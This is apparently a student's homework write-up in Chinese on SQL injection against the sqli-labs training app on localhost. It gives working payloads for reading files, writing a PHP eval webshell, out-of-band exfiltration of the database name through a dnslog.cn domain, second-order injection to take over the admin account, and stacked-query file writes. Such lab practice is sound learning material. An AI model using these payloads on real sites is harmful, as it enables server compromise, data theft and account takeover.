20200210作业
sql文件读写
读文件:load_file()
第二关
先对mysql的配置文件进行修改,添加 secure_file_priv= (后面什么都不加,如果添加NULL代表不能进行读写,如果添加一个路径,那么代表只能对改路径下的文件进行读写)
开始注入:
现在D盘下新建一个名为a.txt的文件内容随意
确认注入点:http://localhost/sqli-labs-master/Less-2/?id=1 and 2=1
查询显示位:
http://localhost/sqli-labs-master/Less-2/?id=1 group by 3
http://localhost/sqli-labs-master/Less-2/?id=1 group by 4
http://localhost/sqli-labs-master/Less-2/?id=1 union select 1,2,3 -- -
发现并没有1,2,3的显示位,这是id=1的这个占位了,需要让他错误,把位置腾出来
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 -- -
发现显示位为2,3 那么就可以在2或3的位置上进行sql注入了
得到显示位,直接进行读取文件a.txt:
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,load_file("D:\\a.txt") -- -
写文件:into_outfile
向D:\\1.txt文件写入一句话木马,需要注意的是,写入的文件在该目录不能有重名的,否则写入失败
上题的注入点已经找到,直接进行写入:http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,"<?php eval($_REQUEST[666])?>" into outfile "D:\\1.txt" -- -
带外注入
第八关
需要一个工具网站:http://www.dnslog.cn/
第一步还是确认注入点:http://localhost/sqli-labs-master/Less-8/?id=1' and 2=1
查看显示位,发现不管正确还是错误都没有反馈,那么就可以试试带外注入
去dnslog拿到一个域名fty0bm.dnslog.cn(这个是随机生成的)
利用dns回显爆出数据,需要用到读取文件的函数来辅助
数据库名:http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",hex(database()),".fty0bm.dnslog.cn\\1.txt")) -- -
发现域名前面多了一些数字,哪些就是得到的数据,被16进制加密了解码就可以得到了
成功得到数据库名,想要得到其他数据修改database()就好
二次注入
第二十四关
我们发现,这个用户名和密码都进行了防护不能注入,但是发现在修改账号没有任何限制,不需要验证,而申请账号也没有对用户名的要求,那么我们就可以用二次注入
一,假设我们知道一个账号admin,但是不知道他的密码,那么我们可以申请一个admin' -- 的用户
然后登陆我们申请的用户admin' -- 点击修改密码,修改成功后我们登陆admin这个账号,用admin' -- 修改后的密码,
我们发现可以登陆
这是因为,我们申请用户的' -- 被sql语句执行了把后面的语句注释掉,但是前面的用户名却变成了admin,所以用admin' -- 的面膜可以登陆admin了
堆叠注入
第三十八关
堆叠注入是可以用分号来分开执行sql语句,并且可以对数据进行增删改查,不受限制
开始注入(以写入文件为例):http://localhost/sqli-labs-master/Less-38/?id=-1'; select "<?php phpinfo();?>" into outfile "d:\\phpstudy\\www\\phpinfo.php" ;-- -